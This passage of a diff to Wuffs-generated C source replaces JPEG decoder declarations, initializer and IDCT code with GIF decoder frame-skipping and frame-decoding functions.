a_workbuf); ++// -------- func gif.decoder.skip_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__swizzle_gray( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++wuffs_gif__decoder__skip_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__swizzle_colorful( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++ uint8_t v_flags = 0; ++ uint8_t v_lw = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__top_left_quants_has_zero( +- const wuffs_jpeg__decoder* self, +- uint32_t a_q); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ uint32_t coro_susp_point = self->private_impl.p_skip_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; ++ } ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ self->private_data.s_skip_frame.scratch = (((uint32_t)(3u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_lw = t_1; ++ } ++ if (v_lw > 8u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_quirks[0u]) { ++ self->private_impl.f_delayed_num_decoded_frames = true; ++ } else { ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 32u; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto ok; ++ ok: ++ self->private_impl.p_skip_frame = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ return status; ++} ++ ++// -------- func gif.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( +- wuffs_jpeg__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_jpeg__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_jpeg__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_jpeg__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_jpeg__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_jpeg__decoder__initialize( +- wuffs_jpeg__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; +- self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; +- self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-wuffs_jpeg__decoder* +-wuffs_jpeg__decoder__alloc(void) { +- wuffs_jpeg__decoder* x = +- (wuffs_jpeg__decoder*)(calloc(sizeof(wuffs_jpeg__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_jpeg__decoder__initialize( +- x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; + } +- return x; +-} + +-size_t +-sizeof__wuffs_jpeg__decoder(void) { +- return sizeof(wuffs_jpeg__decoder); +-} ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; + +-// ---------------- Function Implementations ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// -------- func jpeg.decoder.decode_idct ++// -------- func gif.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); +-} ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- uint32_t v_bq0 = 0; +- uint32_t v_bq2 = 0; +- uint32_t v_bq4 = 0; +- uint32_t v_bq6 = 0; +- uint32_t v_ca = 0; +- uint32_t v_cb2 = 0; +- uint32_t v_cb6 = 0; +- uint32_t v_ccp = 0; +- uint32_t v_ccm = 0; +- uint32_t v_cd0 = 0; +- uint32_t v_cd1 = 0; +- uint32_t v_cd2 = 0; +- uint32_t v_cd3 = 0; +- uint32_t v_bq1 = 0; +- uint32_t v_bq3 = 0; +- uint32_t v_bq5 = 0; +- uint32_t v_bq7 = 0; +- uint32_t v_ci51 = 0; +- uint32_t v_ci53 = 0; +- uint32_t v_ci71 = 0; +- uint32_t v_ci73 = 0; +- uint32_t v_cj = 0; +- uint32_t v_ck1 = 0; +- uint32_t v_ck3 = 0; +- uint32_t v_ck5 = 0; +- uint32_t v_ck7 = 0; +- uint32_t v_cl51 = 0; +- uint32_t v_cl73 = 0; +- uint32_t v_in0 = 0; +- uint32_t v_in2 = 0; +- uint32_t v_in4 = 0; +- uint32_t v_in6 = 0; +- uint32_t v_ra = 0; +- uint32_t v_rb2 = 0; +- uint32_t v_rb6 = 0; +- uint32_t v_rcp = 0; +- uint32_t v_rcm = 0; +- uint32_t v_rd0 = 0; +- uint32_t v_rd1 = 0; +- uint32_t v_rd2 = 0; +- uint32_t v_rd3 = 0; +- uint32_t v_in1 = 0; +- uint32_t v_in3 = 0; +- uint32_t v_in5 = 0; +- uint32_t v_in7 = 0; +- uint32_t v_ri51 = 0; +- uint32_t v_ri53 = 0; +- uint32_t v_ri71 = 0; +- uint32_t v_ri73 = 0; +- uint32_t v_rj = 0; +- uint32_t v_rk1 = 0; +- uint32_t v_rk3 = 0; +- uint32_t v_rk5 = 0; +- uint32_t v_rk7 = 0; +- uint32_t v_rl51 = 0; +- uint32_t v_rl73 = 0; +- uint32_t v_intermediate[64] = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (8u > a_dst_stride) { +- return wuffs_base__make_empty_struct(); +- } +- if (0u == (self->private_data.f_mcu_blocks[0u][8u] | +- self->private_data.f_mcu_blocks[0u][16u] | +- self->private_data.f_mcu_blocks[0u][24u] | +- self->private_data.f_mcu_blocks[0u][32u] | +- self->private_data.f_mcu_blocks[0u][40u] | +- self->private_data.f_mcu_blocks[0u][48u] | +- self->private_data.f_mcu_blocks[0u][56u])) { +- v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); +- v_intermediate[8u] = v_intermediate[0u]; +- v_intermediate[16u] = v_intermediate[0u]; +- v_intermediate[24u] = v_intermediate[0u]; +- v_intermediate[32u] = v_intermediate[0u]; +- v_intermediate[40u] = v_intermediate[0u]; +- v_intermediate[48u] = v_intermediate[0u]; +- v_intermediate[56u] = v_intermediate[0u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); ++ if (status.repr) { ++ goto suspend; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); ++ if (status.repr) { ++ goto suspend; ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][9u] | +- self->private_data.f_mcu_blocks[0u][17u] | +- self->private_data.f_mcu_blocks[0u][25u] | +- self->private_data.f_mcu_blocks[0u][33u] | +- self->private_data.f_mcu_blocks[0u][41u] | +- self->private_data.f_mcu_blocks[0u][49u] | +- self->private_data.f_mcu_blocks[0u][57u])) { +- v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); +- v_intermediate[9u] = v_intermediate[1u]; +- v_intermediate[17u] = v_intermediate[1u]; +- v_intermediate[25u] = v_intermediate[1u]; +- v_intermediate[33u] = v_intermediate[1u]; +- v_intermediate[41u] = v_intermediate[1u]; +- v_intermediate[49u] = v_intermediate[1u]; +- v_intermediate[57u] = v_intermediate[1u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[1u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func gif.decoder.reset_gc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__reset_gc( ++ wuffs_gif__decoder* self) { ++ self->private_impl.f_gc_has_transparent_index = false; ++ self->private_impl.f_gc_transparent_index = 0u; ++ self->private_impl.f_gc_disposal = 0u; ++ self->private_impl.f_gc_duration = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func gif.decoder.decode_up_to_id_part1 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_up_to_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_block_type = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = 